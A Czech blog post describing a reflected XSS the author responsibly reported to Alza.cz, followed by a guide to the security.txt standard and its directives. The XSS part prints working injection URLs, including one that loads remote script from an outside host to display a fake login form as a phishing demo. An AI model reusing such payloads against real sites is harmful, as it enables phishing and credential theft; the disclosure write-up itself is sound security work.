9. dubna 2018 (aktualizováno 28. července 2023)

Přidejte si na web soubor security.txt a umístěte do něj správné kontaktní údaje, ať lidé, kteří chtějí nahlásit bezpečnostní chyby, nemusí dlouze studovat kam report poslat. K čemu takové informace jsou vám ukážu na jednom konkrétním příkladu.

Občas někdo najde nějakou zranitelnost a chtěl by ji nahlásit, ať ji výrobce nebo vývojář může opravit. Koncem roku 2017 jsem pár takových drobných chyb také objevil.

Nalezení zranitelnosti

V sobotu 16. prosince jsem reportoval zranitelnost Cross-Site Scripting (XSS) na vcelku známém webu Alza.cz 👽. Chyba spočívala v tom, že se neošetřená adresa vypsala do Not Found stránky mezi značky <script> a </script>, konkrétně do řetězce, který se posílá do Google Analytics jako parametr události. Kód na adrese https://www.alza.cz/foo vypadá přibližně takhle:

<script>
ga('send', 'event', 'Error404', 'http://www.alza.cz/foo');
</script>

Stačilo do browseru zadat https://www.alza.cz/foo?');+alert(1);+// a alert spatřil světlo světa:

<script>
ga('send', 'event', 'Error404', 'https://www.alza.cz/foo?'); alert(1); //');
</script>

Jenže alert(1) nedokáže moc dobře ukázat možnosti vloženého JavaScriptu, tak jsem připravil názorné demo, které po kliknutí na zákeřný odkaz zobrazí alzácké přihlašovací okno. Při pokusu vyplnit e-mail a heslo nebo po stisknutí tlačítka „Přihlásit“ vyskočila hláška, že jde o ukázku phishingu a nic se nikam neposlalo. Mohlo by, JavaScript by mohl třeba změnit atribut action a přihlašovací údaje by se odeslaly třeba na útočníkův web, ale to nebylo smyslem ukázky.

Zákeřný odkaz s ukázkou vypadal takto (dal by se samozřejmě zkrátit nějakým zkracovačem adres):

https://www.alza.cz/foo?');d=document;s=d.createElement('script');s.src='https://baz.xss.sk/js';d.getElementsByTagName('head')[0].appendChild(s);//

A konečně na závěr varovná hláška překrývající přihlašovací formulář:

Ukázka pokusu o phishing

Nahlášení chyby

Chybu jsem chtěl nahlásit, ale musel jsem nejdřív zjistit komu. Na uživatelskou podporu popis bezpečnostních chyb posílat nechcete, nevěděli by co s tím. Tak jsem začal hledat a po nějaké době jsem narazil na Vladimíra Dědka, ředitele webového a mobilního vývoje. No jo, ale kdo to je, jak se chová, pochopí o co mi jde? Po další chvíli gůglování jsem narazil na video, ve kterém Jirka Rostecký z Mladého podnikatele rozebírá s Vladimírem různé vývojářské věci, což mě utvrdilo, že Vladimír je můj člověk. Poslal jsem mu stručný e-mail s popisem chyby a vrátil se k tomu, co jsem chtěl původně dělat.

Odpověď přišla hned druhý den (v neděli!) ráno. Alza chybu během pár dní opravila, přístup k problému byl super, komunikace taky a za to všechno jí patří velký dík. Alza teda zareagovala podobně rychle jako DomainTools, kam jsem hlásil podobnou chybu v pátek před vánocemi.

Schválně si tipněte, co mi trvalo nejdéle: najít chybu, vyrobit demo, nebo zjistit komu chybu nahlásit?

je správně, nejvíc času mi zabralo nalézt komu chybu vlastně popsat. Aby popisu i závažnosti rozuměl a aby na mě rovnou neposílal firemní právníky. Když jsem v podstatě náhodou našel uniklá data z hostingu Czechia od Zoneru, tak jsem taky sháněl správný kontakt celkem dlouho. Od podpory, od které jsem chtěl získat speciální adresu na hlášení bezpečnostních incidentů, jsem se dozvěděl, že žádnou takovou adresu nemají a že to mám poslat nešifrovaně klasicky na support, že se mi ozvou zpět. Čemuž na jednu stranu rozumím, na druhou stranu to leckoho může odradit a pak může udělat zoufalost, které by třeba později mohl litovat.

Chápu, že na stránce „O nás“ nebo „Kontakty“ asi ve většině případů netoužíte mít odkaz „Sem posílejte hlášení bezpečnostních chyb“, ale jak dát světu najevo kam s ním? Asi nechcete, aby se vás lidi veřejně na Twitteru ptali, kam mají chyby posílat, tak jako jsem to udělal při pokusu reportovat problémy certifikační autoritě AlwaysOnSSL (která těsně po vydání tohoto článku přestala existovat). Výpis z whois často obsahuje neveřejné údaje nebo pro tento účel nesprávné osoby.

security.txt

Problém se pokusil vyřešit Ed Foudil. Vytvořil standard security.txt (přesný název zní „A File Format to Aid in Security Vulnerability Disclosure“, vyšel jako RFC 9116), což je ve zkratce soubor security.txt, ze kterého se dozvíte kam a jak chyby hlásit.

Soubor security.txt musí být na předvídatelném místě, pro weby to je adresář /.well-known/. Ten je definován v RFC 5785 a slouží právě jako základní adresář pro „dobře známá“ umístění. Používá jej např. KeyBase i certifikační autorita Let's Encrypt pro ověření domény a další. Pokud z nějakého důvodu nelze použít adresář /.well-known/, tak můžete soubor security.txt nechat i v „rootu“ jakožto záložní řešení.

Cesta k mému souboru security.txt je tedy https://www.michalspacek.cz/.well-known/security.txt a z /security.txt jsem nastavil přesměrování.

Přesměrovávat můžete ale jen na tu samou doménu. Nelze tedy z https://www.example.com/security­.txt přesměrovat na https://www.example.net/.well-known/security.txt ani na poddoménu např. https://foo.www.example.com/.well-known/security.txt – můžete jen na https://www.example.com/.well-known/security­.txt.

Soubor security.txt musí být obyčejný textový soubor, který ze serveru musí přijít s hlavičkou Content-Type: text/plain; charset=utf-8 včetně té znakové sady. Soubor musí být přístupný pouze přes HTTPS, stejně tak na HTTPS musí směřovat všechny odkazy uvedené v následujících direktivách.

Contact

V souboru jsou uvedeny direktivy a hodnoty oddělené dvojtečkou, přičemž jedna direktiva může obsahovat jen jednu hodnotu (např. adresu), ale můžete uvést více stejných direktiv s různými hodnotami, každou dáte na samostatný řádek, přičemž každá řádka musí končit znaky CRLF nebo jen LF. Soubor musí obsahovat alespoň direktivu Contact, jako hodnotu můžete uvést e-mailovou adresu (nezapomeňte na schéma mailto:, např. mailto:security@example.com), telefonní číslo (se schématem tel:, např. tel:+123456789) nebo webovou stránku s dalšími informacemi. U mě vypadají direktivy Contact takhle:

Contact: https://www.michalspacek.cz/kontakt
Contact: https://twitter.com/messages/compose?recipient_id=15823805
Contact: https://m.me/spaze

Encryption

Pomocí direktivy Encryption můžete (a měli byste) přidat odkaz na váš PGP klíč, kterým je možné komunikaci zašifrovat. U mě vypadá takto:

Encryption: https://www.michalspacek.cz/key.asc

Policy

Do Policy můžete přidat odkaz na „pravidla hry“, bezpečnostní politiku nebo pravidla hlášení chyb.

Acknowledgements

Jestli máte „zeď slávy“ se jmény firem nebo lidí, kteří vám pomohli chybu najít a opravit (má ji např. T-Mobile), sem můžete dát odkaz. Pro jednoduchý příklad se podívejte do „síně slávy“ již zmíněné (a již nefunkční) AlwaysOnSSL.

Hiring

Pokud sháníte nějaké lidi, profíky na bezpečnost, tak sem můžete dát odkaz na stránku s inzerátem nebo seznamem volných pozic.

Preferred-Languages

Seznam jazyků (resp. jejich zkratek), ve kterých byste rádi hlášení chyb dostávali:

Preferred-Languages: cs, en

Na pořadí nezáleží a pokud tato direktiva v souboru není, tak hlásiči mohou předpokládat (ale taky nemusí), že vám mají chyby posílat v angličtině.

Canonical a digitální podpis

Obsah security.txt můžete podepsat pomocí „cleartext“ podpisu, který se stane součástí souboru. Podpis vytvoříte např. pomocí gpg --clear-sign security.txt a výsledný podepsaný soubor (security.txt.asc) poté přejmenujete zpět. Nezapomeňte soubor znovu podepsat po každé i sebemenší změně.

Do vašeho souboru security.txt můžete (a pokud je soubor podepsán, tak byste spíš měli) přidat i direktivu Canonical, která bude obsahovat URL odkazující zpět na soubor, ve kterém je direktiva zapsána:

Canonical: https://www.michalspacek.cz/.well-known/security.txt

V případě, že bude soubor zároveň podepsán, tak bude „podepsáno“ i jeho umístění a bude jasné, odkud pochází.

Expires

Tento povinný údaj určuje datum a čas ve formátu RFC 3339, od kdy mají být údaje v tom konkrétním souboru security.txt z nějakého důvodu považovány za neplatné, třeba kvůli organizačním změnám.

Expires: 2021-12-31T23:59:59+02:00

Platnost není nijak omezena, ale doporučuje se nastavit maximálně rok dopředu, protože neudržovaný security.txt může být snad i horší, než žádný security.txt. Nezapomeňte tedy obsah souboru udržovat aktuální.

✅ Přidat security.txt

Jestli se vám dneska nechce nic dělat, tak aspoň přidejte tenhle soubor (což předpokládá, že víte kam mají hlášení o bezpečnostních chybách chodit) a můžete to vykázat jako „zlepšení vztahu se security komunitou a zjednodušení hlášení chyb“. A když se vám chce dělat něco jiného, tak ten soubor přidejte alespoň zítra. Nikdy nevíte, kdy ho budu potřebovat 😜

K povinné direktivě Contact (a Expires) doporučuji přidat i Encryption (tedy pokud máte šifrovací klíč), zbytek můžete použít podle situace.

Na webu securitytxt.org najdete jednoduchý generátor obsahu souboru, inspirovat se můžete i u , na Have I Been Pwned?, Report-URI nebo u Googlu, 1Passwordu a Facebooku. Informace v security.txt má už zmíněná Alza i česká hostingovka Active24 a jednoduchý soubor najdete i na webu jedné švýcarské banky.

Aktualizace článku

28. července 2023 Přidání požadavku použít Content-Type hlavičku i s parametrem charset

28. dubna 2022 security.txt vyšlo jako RFC 9116

13. dubna 2022draftu 11 zmizela zmínka o security.txt na souborových systémech

25. května 2021 Ve verzi draft 12 byl změněn formát času v Expires z RFC 5322 na jednodušší RFC 3339

27. prosince 2020 Pole Expires je od verze draft 10 povinné

18. května 2020 Přidán popis pole Expires

31. prosince 2019 E-maily v Contact musí mít prefix mailto:, telefonní čísla schéma tel:

13. srpna 2019 Přidán popis direktivy Preferred-Languages

13. srpna 2019 Přidán popis direktivy Canonical a „cleartext“ podpisů, odstraněna direktiva Signature, přidána poznámka o tom, že všechny odkazy musí být na HTTPS

13. srpna 2019 Přidán odstavec s popisem přesměrování, které musí být pouze na tu samou doménu a odstraněna úvodní tečka ze jména souboru pro interní servery a souborové systémy

Michal Špaček

Michal Špaček

Vyvíjím webové aplikace, zajímá mě jejich bezpečnost. Nebojím se o tom mluvit veřejně, hledám hranice tak, že je posouvám. Chci naučit webové vývojáře stavět bezpečnější a výkonnější weby a aplikace.

Veřejná školení

Zvu vás na následující školení, která pořádám a vedu: